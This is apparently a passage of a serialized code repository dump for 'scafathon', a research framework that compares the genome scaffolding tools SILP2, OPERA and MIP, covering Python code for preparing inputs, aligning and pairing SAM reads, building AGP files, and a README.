default.\n mip[curs] = []\n continue\n \n # append.\n mip[curs].append(tmp)\n \n # count the number of rows for agp file.\n size = 0\n for scafid in mip:\n size += len(mip[scafid]) + len(mip[scafid]) - 1\n\n # allocate the array.\n agps = np.zeros(size, dtype=agp_dt)\n\n # begin copying data.\n idx = 0\n for scafid in mip:\n scaf_start = 1\n scaf_idx = 1\n for i in range(len(mip[scafid])):\n \n # tokenize.\n entry = mip[scafid][i]\n ctg_name = entry[1]\n if entry[2] == \"F\":\n orien = 0\n else:\n orien = 1\n start = int(entry[3])\n stop = int(entry[4])\n \n # add to agp.\n agps[idx]['scaf_name'] = scafid\n agps[idx]['scaf_start'] = scaf_start\n agps[idx]['scaf_stop'] = scaf_start + abs(stop - start)\n agps[idx]['scaf_idx'] = scaf_idx\n agps[idx]['comp_type'] = \"W\"\n agps[idx]['comp_name'] = ctg_name\n agps[idx]['comp_start'] = 1\n agps[idx]['comp_stop'] = abs(stop - start)\n agps[idx]['comp_orien'] = orien\n agps[idx]['comp_linkage'] = 0\n\n # move up counts.\n scaf_start = agps[idx]['scaf_stop'] + 1\n scaf_idx += 1\n idx += 1\n \n # do gap.\n if entry[1] != mip[scafid][-1][1]:\n \n # add gap.\n agps[idx]['scaf_name'] = scafid\n agps[idx]['scaf_start'] = scaf_start\n agps[idx]['scaf_stop'] = int(mip[scafid][i+1][3]) - 1\n agps[idx]['scaf_idx'] = scaf_idx\n agps[idx]['comp_type'] = \"N\"\n agps[idx]['comp_name'] = \"fragment\"\n agps[idx]['comp_start'] = 1\n agps[idx]['comp_stop'] = abs(agps[idx]['scaf_stop'] - agps[idx]['scaf_start'])\n agps[idx]['comp_orien'] = 0\n agps[idx]['comp_linkage'] = 0 \n \n # move up counts.\n scaf_start = int(mip[scafid][i+1][3])\n scaf_idx += 1\n idx += 1\n\n # copy results.\n subprocess.call(['cp', OUT_FILE, scf_fasta])\n\n # save the agp.\n save_agps(ctg_agp, agps)\n\n # add time.\n with open(ctg_agp, 'rb') as fin:\n lines = fin.read()\n lines += 'RUNTIME: %.2f' % trun\n with open(ctg_agp, 'wb') as fout:\n fout.write(lines)\n \n # move the results.\n"},{"alpha_fraction":0.5634479522705078,"alphanum_fraction":0.5879085659980774,"avg_line_length":28.347963333129883,"blob_id":"23fb19e71a1584efb496e8b0dceba6961f3c1cfb","content_id":"825f69eff1e75df7cb3760926609f855d9f39086","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":9362,"license_type":"permissive","max_line_length":167,"num_lines":319,"path":"/utils/prep.py","repo_name":"jim-bo/scafathon","src_encoding":"UTF-8","text":"'''\ndrivers to prepare the data for scaffolding\n'''\nimport sys\nimport logging\nimport string\nimport subprocess\nimport os\n\nfrom utils.misc import *\n\n## private functions ##\n\n## public functions ##\ndef prep_silp(work_dir, ant_dir, prep_sh, ctg_fasta, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\n \"\"\" SILP scaffolder \"\"\"\n\n # create command base.\n cmd_base = ['python', '/home/jrl03001/code/SILP2/silp.py']\n\n # preprocess.\n job = list()\n job.append('#!/bin/bash')\n job.append('# preprocess')\n job.append('%s nodes -w %s -c %s' % (' '.join(cmd_base), work_dir, ctg_fasta))\n job.append('%s edges -w %s -i %i -s %i -%s -s1 %s -s2 %s' %\n (' '.join(cmd_base), work_dir, ins_size, std_dev, pair_mode, read1_sam, read2_sam))\n job.append('%s bundles -w %s -b %i -p 90 -bup 1 -r %s -i %i -s %i' % (' '.join(cmd_base), work_dir, bundle_size, ant_dir, ins_size, std_dev))\n job.append('%s decompose -w %s -m 2500' % (' '.join(cmd_base), work_dir))\n job.append('')\n runit(job, prep_sh)\n\ndef prep_opera(work_dir, ant_dir, prep_sh, ctg_fasta, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\n \"\"\" opera scaffolder \"\"\"\n\n # opera specific directories.\n input_dir = '%s/input' % work_dir\n results_dir = '%s/results' % work_dir\n script_dir = '%s/script' % work_dir\n output_dir = '%s/output' % work_dir\n log_dir = '%s/log' % work_dir\n for x in [input_dir, results_dir, script_dir, output_dir, log_dir]:\n create_dir(x)\n\n # opera sepecific files.\n edge_file = '%s/opera_raw.txt' % input_dir\n config_file = '%s/opera.cfg' % input_dir\n script_file = '%s/opera.sh' % input_dir\n tout_file = '%s/scaffolds.scaf' % results_dir\n log_file = '%s/opera.log' % log_dir\n\n # open pair of sam files.\n fin1 = open(read1_sam, \"rb\")\n fin2 = open(read2_sam, \"rb\")\n fout = open(edge_file, 'wb')\n\n # create the edge file from paired sam.\n idx = 1\n for line1 in fin1:\n line2 = fin2.readline()\n\n # skip headers.\n if line1[0] == \"@\" or line2[0] == \"@\":\n continue\n\n # tokenize.\n tokens1 = line1.strip().split(\"\\t\")\n tokens2 = line2.strip().split(\"\\t\")\n\n # get data.\n rname1 = tokens1[2]\n rname2 = tokens2[2]\n\n qname1 = tokens1[0]\n qname2 = tokens2[0]\n\n pos1 = int(tokens1[3])\n pos2 = int(tokens2[3])\n\n szseq1 = len(tokens1[9])\n szseq2 = len(tokens2[9])\n\n seq1 = tokens1[9]\n seq2 = tokens2[9]\n\n # prepare orientation.\n if tokens1[1] == \"0\":\n orien1 = \"+\"\n else:\n orien1 = \"-\"\n if tokens2[1] == \"0\":\n orien2 = \"+\"\n else:\n orien2 = \"-\"\n\n # save names.\n nm1 = \"%i.1\" % idx\n nm2 = \"%i.2\" % idx\n idx += 1\n\n # create txt.\n line1 = \"%s\\t%s\\t%s\\t%i\\t%s\\t%s\\t%s\\n\" % (nm1, orien1, rname1, pos1, tokens1[9], tokens1[10], \"0\")\n line2 = \"%s\\t%s\\t%s\\t%i\\t%s\\t%s\\t%s\\n\" % (nm2, orien2, rname2, pos2, tokens2[9], tokens2[10], \"0\")\n\n # write to file.\n fout.write(line1)\n fout.write(line2)\n\n # close up shop.\n fin1.close()\n fin2.close()\n fout.close()\n\n # prepare config script\n txt = \"\"\"#\n# Essential Parameters\n#\n\n# Please always supply absolute path of each file,\n# Because relative path may not work all the time.\n\n# Output folder for final results\noutput_folder=${opera_results_dir}\n\n# Contig file\ncontig_file=${opera_node_file}\n\n#----------------------------------------------------------------------------------------------\n# Advanced Parameters\n\n#\n# Scaffolding related parameters\n#\n\n# Scaffold name in result file\nscaffold_name=scaffold\n\n# PET cluster threshold (default=5) (Opera will discard all clusters\n\n# Should Opera abort when running time for specific subgraph is longer\n# than 30 minutes (true or false, default=true)\nabort=false\n\n#----------------------------------------------------------------------------------------------\n#\n# Contig file related parameters\n#\n\n# Format of contig file (fasta or statistic, default=fasta)\nfile_format=fasta\n\n# Program name generating contig file (velvet or soap, default=velvet)\nfile_type=velvet\n\n# Should the repeat contigs be filtered (yes or no, default=true)\nfilter_repeat=yes\n\n# Repeat threshold (default=1.5): If the coverage of a contig is higher than\n# (repeat threshold * average coverage), then it is considered as repeat\nrepeat_threshold=1.5\n\n# Contig size threshold (default=500): Opera will not use the contigs whose length\n# is shorter than this value\ncontig_size_threshold=10\n\n#----------------------------------------------------------------------------------------------\n#\n# Library parameters.\n#\n\n[LIB]\ncalculate_ori=no\nread_ori=in\nmap_type=bowtie\ncalculate_lib=no\nlib_mean=${lib_mean}\nlib_std=${lib_std}\ncluster_threshold=${pet_size}\nmap_file=${opera_edge_file}\n\"\"\"\n txt = string.Template(txt)\n txt = txt.substitute(opera_results_dir=results_dir, opera_node_file=ctg_fasta, opera_edge_file=edge_file, pet_size=bundle_size, lib_mean=ins_size, lib_std=std_dev)\n\n # write to file.\n fout = open(config_file, \"wb\")\n fout.write(txt)\n fout.close()\n\n\ndef prep_mip(work_dir, ant_dir, prep_sh, ctg_fasta, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\n \"\"\" mip scaffolder \"\"\"\n\n # simplify files.\n ant_dir = '/dev/null'\n pre_sh = prep_sh\n\n contig_file = ctg_fasta\n test1 = read1_sam\n test2 = read2_sam\n \n # sanity.\n if os.path.isfile(test1) == False or os.path.isfile(test2) == False:\n logging.error(\"missing file:\")\n logging.error(test1)\n logging.error(test2)\n \n # mip specific files.\n SAM_1_MOD = \"%s/sam_1.sam\" % work_dir\n SAM_2_MOD = \"%s/sam_2.sam\" % work_dir\n MERGED_FILE = \"%s/merged\" % work_dir\n MERGED1_FILE = \"%s/merged.sorted1\" % work_dir\n MERGED2_FILE = \"%s/merged.sorted2\" % work_dir\n FILTERED_FILE = \"%s/filtered.txt\" % work_dir\n COV_FILE = \"%s/coverage.txt\" % work_dir\n PARAM_FILE = \"%s/parameters.txt\" % work_dir\n MIP_FILE = \"%s/scaffolds2.txt\" % work_dir\n\n # modify SAM file to be happy with MIP.\n fin1 = open(test1, \"rb\")\n fin2 = open(test2, \"rb\")\n fout1 = open(SAM_1_MOD, \"wb\")\n fout2 = open(SAM_2_MOD, \"wb\")\n for line1 in fin1:\n line2 = fin2.readline()\n \n # tokenize.\n tokens1 = line1.strip().split(\"\\t\")\n tokens2 = line2.strip().split(\"\\t\")\n \n # change naming convention.\n tokens1[0] = tokens1[0].replace(\"/1\",\"_R3\")\n tokens2[0] = tokens2[0].replace(\"/2\",\"_F3\")\n \n # modify orientation.\n if pair_mode == 'rf':\n if tokens1[1] == \"0\":\n tokens1[1] = \"16\"\n else:\n tokens1[1] = \"0\"\n else:\n print pair_mode\n logging.error('un-written')\n sys.exit(1)\n \n \n # write it back out.\n fout1.write('\\t'.join(tokens1) + '\\n')\n fout2.write('\\t'.join(tokens2) + '\\n')\n\n fin1.close() \n fin2.close() \n fout1.close() \n fout2.close() \n\n PROG_1 = \"/opt/mip/scripts/merge.sh\"\n PROG_2 = \"/opt/mip/scripts/filter-mappings.sh\"\n PROG_3 = \"/home/jrl03001/code/ScafValidate/mip/contig_coverage.py\"\n #'''\n # merge data.\n with open(pre_sh, 'wb') as fout:\n \n # prepare.\n fout.write('#!/bin/bash\\n')\n cmd = [PROG_1, SAM_2_MOD, SAM_1_MOD, MERGED_FILE]\n fout.write(' '.join(cmd) + '\\n')\n cmd = [PROG_2, MERGED1_FILE, MERGED2_FILE, FILTERED_FILE]\n fout.write(' '.join(cmd) + '\\n')\n cmd = [\"python\", PROG_3, contig_file, COV_FILE, SAM_1_MOD, SAM_2_MOD]\n fout.write(' '.join(cmd) + '\\n')\n \n # run it.\n subprocess.call([\"chmod\", \"u+x\", pre_sh])\n if subprocess.call([pre_sh], cwd=work_dir) != 0:\n logging.error(\"couldn't prepare MIP\")\n sys.exit(1)\n\n #'''\n # write the config.\n txt = '''# Upper bound for genome length (required)\ngenome_length=5000000000\n\n#parameter specifications for the first stage\n[STAGE]\n# Maximum biconnected component size. (optional)\n#maximum_biconnected_component=50\n# Maximum allowed degree in scaffolding graph. (optional)\nmaximum_degree=50\n# Maximum coverage for nonrepetitive contig. (optional)\n#maximum_coverage=100\n# The maximum overlap between contigs that is allowed without checking for\n# sequence similarity. By default this is set based on the variablility in\n# insert size lengths of each library. (optional)\n#maximum_overlap=100\n# The minimum support for an edge. (optional)\nminimum_support=%i\n# Should edges with negative estimated distance be checked for sequence\n# similarity or removed automatically? (optional)\ncheck_negative_edges=1\n\n# library specification for the first stage\n[LIBRARY]\n# File in SAM format containing mappings for the mate pair reads\n# to the contigs\nmappings=%s\n# Orientation of the mate pairs (in current version must be SOLID)\norientation=SOLID\n# Insert length\ninsert_length=%i\n# Minimum insert length\nmin_insert_length=%i\n# Maximum insert length\nmax_insert_length=%i\n''' % (bundle_size, FILTERED_FILE, ins_size, (ins_size - (3*std_dev)), (ins_size + (3*std_dev)))\n\n \n # write to file.\n fout = open(PARAM_FILE, \"wb\")\n fout.write(txt)\n fout.close()\n"},{"alpha_fraction":0.7733333110809326,"alphanum_fraction":0.7787878513336182,"avg_line_length":48.93939208984375,"blob_id":"e3a5c0f43aac28f5cb51851c0920604634639204","content_id":"14d1bf9b18bb635859d30bb1b62a69d27e2d9e97","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1650,"license_type":"permissive","max_line_length":233,"num_lines":33,"path":"/README.md","repo_name":"jim-bo/scafathon","src_encoding":"UTF-8","text":"scafathon\n=========\n\n**Genome scaffolding comparison framework**\n\n\n## Overview\nScafathon is just a collection of scripts used to evaluate three genome scaffolding tools; SILP2, OPERA and MIP. It should be easy to extend this framework to add more tools. It relies on Quast for alignment based accuracy assesment.\n\n***Warning: This code is only intended for use by professionals. Modification of the source code is required to set proper paths to external executables. Furthermore adding additional scaffolding tools requires manual coding.***\n\n## Usage\nThe tool is divided up into several sub-programs which need to be run in-order. Use the \"-h\" argument after each of the following sub-commands for a description of their usage.\n```python\npython silp.py [sub-command] -h\n```\n1. *align:* aligns the paired reads (required bowtie2) installed\n2. *pair:* pairs two existing SAM files\n3. *meta_combine:* combines two pairs of SAM files at different percentages [metagenomic simulations]\n4. *prep:* prepares selected scaffold algorithm by running all preprocessing code\n5. *run:* runs scaffolding tool\n6. *sim_eval:* evaluates scaffold if there exists a reference AGP with locations of each contig\n7. *real_eval:* uses alignment based accuracy metrics\n\n## Installation\nThis is primarily a python program, it relies on several python packages:\n* numpy\n* networkx\n\nAlso several seperate packages are required. These include nucmer, quast and [parabio](https://github.com/jim-bo/parabio).\n\n## Disclaimer\nThis is a research tool written in a research enviroment. No support is offered and bugs may be present. Only one library size is support at this time. \n\n"},{"alpha_fraction":0.4289953410625458,"alphanum_fraction":0.4340822398662567,"avg_line_length":25.505617141723633,"blob_id":"b981c7a67de36752d838201660e7edad35900281","content_id":"fd5e0fa3b08a8602cfa93f7b9fc56904188bc8a3","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2359,"license_type":"permissive","max_line_length":67,"num_lines":89,"path":"/utils/misc.py","repo_name":"jim-bo/scafathon","src_encoding":"UTF-8","text":"import subprocess\nimport os\nimport numpy as np\n\nagp_dt = np.dtype([\\\n ('scaf_name', 'S255'),\\\n ('scaf_start', np.long),\\\n ('scaf_stop', np.long),\\\n ('scaf_idx', np.long),\\\n ('comp_type', 'S50'),\\\n ('comp_name', 'S255'),\\\n ('comp_start', np.long),\\\n ('comp_stop', np.long),\\\n ('comp_orien', np.long),\\\n ('comp_linkage', np.long),\\\n])\n\n\ndef runit(job, path):\n \"\"\" runs the job \"\"\"\n with open(path, 'wb') as fout:\n fout.write('\\n'.join(job))\n subprocess.call(['chmod', 'a+x', path])\n subprocess.call(['bash', path])\n\ndef create_dir(dir_path):\n ''' creates directory if necessary'''\n if os.path.isdir(dir_path) == False:\n if subprocess.call([\"mkdir\", dir_path]) != 0:\n logging.error(\"couldn't make dir\")\n sys.exit(1)\n\n\n\ndef save_agps(agp_file, agp):\n ''' saves agp to disk.'''\n\n # write to file.\n fout = open(agp_file, \"w\")\n\n # write each entry.\n z = len(agp_dt.names)\n for i in range(agp.size):\n\n # sanity skip.\n if agp[i]['scaf_name'] == \"\":\n continue\n\n # format result.\n tmp = agp[i]\n if tmp['comp_type'] == \"W\":\n # get orientation.\n if tmp[\"comp_orien\"] == 0:\n o = \"+\"\n else:\n o = \"-\"\n\n # write contig.\n txt = str(tmp['scaf_name']) + \"\\t\"\n txt += str(tmp['scaf_start']) + \"\\t\"\n txt += str(tmp['scaf_stop']) + \"\\t\"\n txt += str(tmp['scaf_idx']) + \"\\t\"\n txt += str(tmp['comp_type']) + \"\\t\"\n txt += str(tmp['comp_name']) + \"\\t\"\n txt += str(tmp['comp_start']) + \"\\t\"\n txt += str(tmp['comp_stop']) + \"\\t\"\n txt += o + \"\\n\"\n\n else:\n # get linkage.\n if tmp['comp_linkage'] == 0:\n o = \"no\"\n else:\n o = \"yes\"\n\n # write gap.\n txt = str(tmp['scaf_name']) + \"\\t\"\n txt += str(tmp['scaf_start']) + \"\\t\"\n txt += str(tmp['scaf_stop']) + \"\\t\"\n txt += str(tmp['scaf_idx']) + \"\\t\"\n txt += str(tmp['comp_type']) + \"\\t\"\n txt += str(tmp['comp_stop'] - tmp['comp_start']) + \"\\t\"\n txt += str(tmp['comp_name']) + \"\\t\"\n txt += o + \"\\n\"\n\n fout.write(txt)\n\n # close file.\n fout.close()\n"},{"alpha_fraction":0.5159717202186584,"alphanum_fraction":0.5442575216293335,"avg_line_length":23.1235294342041,"blob_id":"b480607bf84c02ee5083aaa1ddb0970b00cae73c","content_id":"d0f3285b47682ee4eb2c1e9f9ed79e596c539994","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":8202,"license_type":"permissive","max_line_length":105,"num_lines":340,"path":"/utils/align.py","repo_name":"jim-bo/scafathon","src_encoding":"UTF-8","text":"'''\nalignment utility functions\n'''\nimport os\nimport sys\nimport subprocess\nimport logging\nimport mmap\nfrom operator import itemgetter\nimport numpy as np\n\n## public functions ##\ndef create_idx(asm_fasta, index_file):\n \"\"\" make bowtie2 index\n Parameters:\n -----------\n asm_fasta : str\n index_file : str\n \"\"\"\n\n # run the command.\n subprocess.call(['bowtie2-build', '-f', asm_fasta, index_file])\n\ndef create_aln(size_file, index_file, fastq_file, sam_file, ant_dir, num_cpu):\n \"\"\" make bowtie2 alignment and\n pull out multimappers/\n Parameters:\n -----------\n index_file : str\n fastq_file : str\n \"\"\"\n\n # create sizes.\n sizes = dict()\n with open(size_file, \"rb\") as fin:\n lines = fin.readlines()\n for line in lines:\n sz, name = line.strip().split()\n sz = int(sz)\n sizes[name] = sz\n\n # create the annotation arrays.\n annotes = dict()\n for ref in sizes:\n annotes[ref] = np.zeros(sizes[ref], dtype=np.int)\n\n # create alignment command.\n cmd = ['bowtie2','--reorder', '-k', '10', '-q','-p',str(num_cpu), '-x', index_file, '-U', fastq_file]\n\n # call the command and pipe output.\n output = subprocess.Popen(cmd, stdout=subprocess.PIPE)\n\n # open single-sam file.\n sam_out = open(sam_file, \"wb\")\n\n # loop over each alignment.\n for status, line in _extract_sam(output):\n\n # dump good ones.\n if status == True:\n sam_out.write(line)\n continue\n\n # record location of baduns.\n tokens = line.strip().split()\n start = int(tokens[3])\n stop = start + len(tokens[9])\n rname = tokens[2]\n\n # annotate that.\n annotes[rname][start:stop] += 1\n\n # close output.\n sam_out.close()\n\n # serialize multimap.\n for ref in annotes:\n\n # create name.\n fname = '%s/%s.npy' % (ant_dir, ref)\n\n # look for existing.\n if os.path.isfile(fname):\n tmp = np.load(fname)\n annotes[ref] = annotes[ref] + tmp\n\n # serialize it.\n np.save(fname, annotes[ref])\n\ndef pair_sam(sam_in_1, sam_in_2, sam_out_1, sam_out_2, key_size):\n \"\"\" pairs SAM files \"\"\"\n\n # memory map the SAM files1.\n fin1 = open(sam_in_1, \"r+\")\n fin2 = open(sam_in_2, \"r+\")\n\n map1 = mmap.mmap(fin1.fileno(), 0, access=mmap.ACCESS_COPY)\n map2 = mmap.mmap(fin2.fileno(), 0, access=mmap.ACCESS_COPY)\n\n # create lists from data.\n hitlist1 = list()\n hitlist2 = list()\n for p1, p2 in _sam_gen(map1, map2, key_size):\n hitlist1.append(p1)\n hitlist2.append(p2)\n\n # seek files bake to begining.\n map1.seek(0)\n map2.seek(0)\n\n # sort lists by name, reverse so we can pop from end.\n hitlist1.sort(key=itemgetter(1), reverse=True)\n hitlist2.sort(key=itemgetter(1), reverse=True)\n\n # open output files.\n fout1 = open(sam_out_1, \"wb\")\n fout2 = open(sam_out_2, \"wb\")\n\n # generator of pairs.\n for p1, p2 in _pair_gen(hitlist1, hitlist2):\n\n # load sam info from map.\n map1.seek(p1[0])\n map2.seek(p2[0])\n\n # write out info.\n fout1.write(map1.readline())\n fout2.write(map2.readline())\n\n # close output files.\n fout1.close()\n fout2.close()\n\n # close memmory mapped files.\n map1.close()\n map2.close()\n\n fin1.close()\n fin2.close()\n\n\ndef pair_sam2(sam_in_1, sam_in_2, sam_out_1, sam_out_2, key_size):\n \"\"\" pairs SAM files \"\"\"\n\n # memory map the first SAM file.\n logging.info(\"opening memory map files\")\n\n # build name arrays.\n logging.info(\"extracting name array 1\")\n id1 = _extract_names(sam_in_1, key_size)\n logging.info(\"extracting name array 2\")\n id2 = _extract_names(sam_in_2, key_size)\n\n # sort the names and copy.\n logging.info(\"sorting name array 1\")\n srt1 = np.sort(id1[:]['name'])\n logging.info(\"sorting name array 2\")\n srt2 = np.sort(id2[:]['name'])\n\n # compute unique in each pair.\n logging.info(\"unique 1\")\n uq1 = _numpy_unique(srt1)\n logging.info(\"unique 2\")\n uq2 = _numpy_unique(srt2)\n\n # compute the intersection of unique.\n logging.info(\"intersection\")\n valid_list = np.intersect1d(uq1, uq2, assume_unique=True)\n\n # sanity check.\n assert len(valid_list) != 0, 'cant have no valid stuff'\n\n # create a set.\n logging.info(\"set\")\n valid = set(list(valid_list))\n\n # write the entries.\n logging.info(\"writing\")\n _write_valid(sam_in_1, id1, valid, sam_out_1)\n _write_valid(sam_in_2, id2, valid, sam_out_2)\n logging.info(\"done\")\n\n\n## internal functions ##\n\ndef _write_valid(sam_in_1, id1, valid, sam_out_1):\n \"\"\" writes entries from valid set\"\"\"\n\n # open output.\n fout1 = open(sam_out_1, \"wb\")\n fin1 = open(sam_in_1, \"rb\")\n\n # generator of pairs.\n idx = 0\n for line in fin1:\n\n # operate.\n if id1[idx]['name'] in valid:\n fout1.write(line)\n\n # udpate\n idx += 1\n\n # close em.\n fout1.close()\n fin1.close()\n\ndef _numpy_unique(srt1):\n \"\"\" return unique subset\"\"\"\n\n # create mask.\n good = np.zeros(srt1.shape[0], dtype=np.bool)\n good[:] = False\n\n # iterate over non-boundry cases.\n for i in range(1, srt1.shape[0]-1):\n\n # must not match its neighbors.\n if srt1[i-1] != srt1[i] and srt1[i+1] != srt1[i]:\n good[i] = True\n\n # check the first one.\n if srt1[0] != srt1[1]:\n good[0] = True\n\n # check the last one.\n if srt1[-1] != srt1[-2]:\n good[-1] = True\n\n # return the subset slice.\n return srt1[good]\n\n\ndef _extract_names(file_name, key_size):\n \"\"\" builds numpy array of name hits\"\"\"\n\n # count lines.\n with open(file_name, \"rb\") as fin:\n line_cnt1 = 0\n for line in fin:\n line_cnt1 += 1\n\n # allocate array.\n id1 = np.zeros(line_cnt1, dtype=np.dtype([('name','S25'),('row',np.int)]))\n\n # copy data into array.\n with open(file_name, \"rb\") as fin:\n\n idx = 0\n for line1 in fin:\n # operate.\n if key_size == 0:\n id1[idx]['name'] = line1.split(\"\\t\")[0]\n else:\n id1[idx]['name'] = line1.split(\"\\t\")[0][0:-key_size]\n id1[idx]['row'] = idx\n\n # reset.\n idx += 1\n\n # return the array.\n return id1\n\ndef _extract_sam(output):\n ''' extracts output form SAM'''\n\n # extract unique to file, save multimap annotations.\n for line in iter(output.stdout.readline,''):\n\n # skip header.\n if line[0] == '@': continue\n\n # split.\n tokens = line.strip().split()\n\n # check for no align.\n if tokens[2] == '*':\n continue\n\n # check for MAPQ > 2:\n if int(tokens[4]) < 2:\n yield False, line\n else:\n # its good, yield it.\n yield True, line\n\n\ndef _sam_gen(map1, map2, key_size):\n '''yields the SAM name and the line index'''\n\n # loop till end of file.\n line1 = map1.readline()\n line2 = map2.readline()\n pos1 = 0\n pos2 = 0\n while line1 != '' and line2 != '':\n\n # process it.\n tok1 = line1.strip().split()\n tok2 = line2.strip().split()\n\n # remove to key.\n if key_size != 0:\n key1 = tok1[0][0:-key_size]\n key2 = tok2[0][0:-key_size]\n else:\n key1 = tok1[0]\n key2 = tok2[0]\n\n # yield the name and line number.\n yield (pos1, key1), (pos2, key2)\n\n # update info.\n pos1 += len(line1)\n pos2 += len(line2)\n line1 = map1.readline()\n line2 = map2.readline()\n\ndef _pair_gen(hitlist1, hitlist2):\n ''' does an in-order walk to find pairs '''\n\n # loop till each list is empty.\n while len(hitlist1) > 0 and len(hitlist2) > 0:\n\n # peek for a match.\n if hitlist1[-1][1] == hitlist2[-1][1]:\n\n # yield it.\n yield hitlist1[-1], hitlist2[-1]\n\n # change left.\n hitlist1.pop()\n\n else:\n\n # pop smaller.\n if hitlist1[-1][1] < hitlist2[-1][1]:\n hitlist1.pop()\n else:\n hitlist2.pop()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5037604570388794,\n \"alphanum_fraction\": 0.5210442543029785,\n \"avg_line_length\": 23.13263511657715,\n \"blob_id\": \"ff878cc9510ef048b68b1a742c6a9967b68a4f8b\",\n \"content_id\": \"11be2c7d435fa5f3cdd2beda3049169f4b149460\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 13828,\n \"license_type\": \"permissive\",\n \"max_line_length\": 117,\n \"num_lines\": 573,\n \"path\": \"/utils/eval.py\",\n \"repo_name\": \"jim-bo/scafathon\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nimport sys\\nimport math\\nimport numpy as np\\nimport logging\\nimport subprocess\\nimport networkx as nx\\n\\n### definitions ###\\nagp_dt = np.dtype([\\\\\\n ('scaf_name', 'S255'),\\\\\\n ('scaf_start', np.long),\\\\\\n ('scaf_stop', np.long),\\\\\\n ('scaf_idx', np.long),\\\\\\n ('comp_type', 'S50'),\\\\\\n ('comp_name', 'S255'),\\\\\\n ('comp_start', np.long),\\\\\\n ('comp_stop', np.long),\\\\\\n ('comp_orien', np.long),\\\\\\n ('comp_linkage', np.long),\\\\\\n])\\n\\n### private functions ###\\n\\ndef _load_agp(fpath):\\n ''' read agp file into array.'''\\n\\n # read in agp.\\n fin = open(fpath, \\\"rb\\\")\\n lines = fin.readlines()\\n fin.close()\\n\\n # count number of lines minus comments.\\n cnt = 0\\n for line in lines:\\n if line[0] != \\\"#\\\" and len(line) != 0 and line.strip().split()[0] != \\\"RUNTIME:\\\":\\n cnt += 1\\n\\n # instantiate array.\\n agp_edges = np.zeros(cnt, dtype=agp_dt)\\n\\n # parse agp.\\n idx = 0\\n for line in lines:\\n # tokenize.\\n if line[0] == \\\"#\\\": continue\\n tmp = line.strip().split()\\n if len(tmp) == 0: continue\\n if tmp[0] == \\\"RUNTIME:\\\": continue\\n\\n # get general tokenize.\\n agp_edges[idx]['scaf_name'] = tmp[0]\\n agp_edges[idx]['scaf_start'] = int(float(tmp[1]))\\n agp_edges[idx]['scaf_stop'] = int(float(tmp[2]))\\n agp_edges[idx]['scaf_idx'] = int(float(tmp[3]))\\n agp_edges[idx]['comp_type'] = tmp[4]\\n\\n # contig.\\n if tmp[4] == \\\"W\\\":\\n # get parts.\\n agp_edges[idx]['comp_name'] = tmp[5]\\n agp_edges[idx]['comp_start'] = int(tmp[6])\\n agp_edges[idx]['comp_stop'] = int(tmp[7])\\n if tmp[8] == \\\"+\\\":\\n agp_edges[idx]['comp_orien'] = 0\\n else:\\n agp_edges[idx]['comp_orien'] = 1\\n\\n else:\\n\\n # save entry.\\n agp_edges[idx]['comp_name'] = tmp[6]\\n agp_edges[idx]['comp_start'] = 1\\n agp_edges[idx]['comp_stop'] = int(tmp[5])\\n if tmp[7] != \\\"yes\\\":\\n agp_edges[idx]['comp_linkage'] = 0\\n else:\\n agp_edges[idx]['comp_linkage'] = 1\\n\\n\\n # update index.\\n idx += 1\\n\\n # shirnk array.\\n agp_edges.resize(idx)\\n\\n return agp_edges\\n\\ndef _agp_graph(fpath, RG=None):\\n ''' returns agp graph '''\\n\\n # load agp array.\\n agp_edges = _load_agp(fpath)\\n\\n # make digraph.\\n G = nx.DiGraph()\\n\\n # add nodes.\\n for i in range(agp_edges.size):\\n\\n # skip contigs themselves.\\n if agp_edges[i]['comp_type'] != 'W': continue\\n\\n # add node info.\\n name = agp_edges[i]['comp_name']\\n width = agp_edges[i]['comp_stop']\\n orien = agp_edges[i]['comp_orien']\\n start = agp_edges[i]['scaf_start']\\n stop = agp_edges[i]['scaf_stop']\\n scaf = agp_edges[i]['scaf_name']\\n G.add_node(agp_edges[i]['comp_name'], {'width':width, 'orien':orien, 'start':start, 'stop':stop,'scaf':scaf})\\n\\n # add edges.\\n for i in range(agp_edges.size):\\n\\n # skip contigs themselves.\\n if agp_edges[i]['comp_type'] != 'N': continue\\n if i == agp_edges.shape[0] - 1: continue\\n\\n # add sorted edges.\\n ctg1 = agp_edges[i-1]['comp_name']\\n ctg2 = agp_edges[i+1]['comp_name']\\n gap = agp_edges[i]['comp_stop']\\n\\n G.add_edge(ctg1, ctg2, {'gap':gap})\\n\\n # if RG is supplied ensure all contigs exist.\\n if RG != None:\\n for n in RG.nodes():\\n if G.has_node(n) == False:\\n G.add_node(n, RG.node[n])\\n\\n # done.\\n return G\\n\\ndef _uconn_N50(RG, TG):\\n \\\"\\\"\\\" calcultes UCONN N50s\\\"\\\"\\\"\\n\\n # flip TG to be most consistent with RG.\\n TG = _dag_flip(RG, TG)\\n\\n # calculate teh TPN50\\n min_size = 1\\n WG_REFN50 = _calculate_n50(RG, gap=True, min_size=min_size)\\n NG_REFN50 = _calculate_n50(RG, gap=False, min_size=min_size)\\n\\n # calculate reported n50\\n WG_N50 = _calculate_n50(TG, gap=True, min_size=min_size)\\n NG_N50 = _calculate_n50(TG, gap=False, min_size=min_size)\\n\\n # remove edges not in TG.\\n TG = _remove_difference(RG, TG)\\n\\n # calculate teh TPN50\\n WG_TPN50 = _calculate_n50(TG, gap=True, min_size=min_size)\\n NG_TPN50 = _calculate_n50(TG, gap=False, min_size=min_size)\\n\\n # yield results.\\n return WG_N50, WG_TPN50, TG\\n\\ndef _compute_formula(true_adj, test_adj, n):\\n ''' computes statistics when TG is already oriented. This\\n method computes A and B exactly, but uses formulas\\n to find C and D.'''\\n\\n # set vars.\\n m = len(true_adj)\\n N = n * (n-1)\\n\\n # compute the A statistic set.\\n A = true_adj.intersection(test_adj)\\n\\n # compute the B statistic set.\\n B = 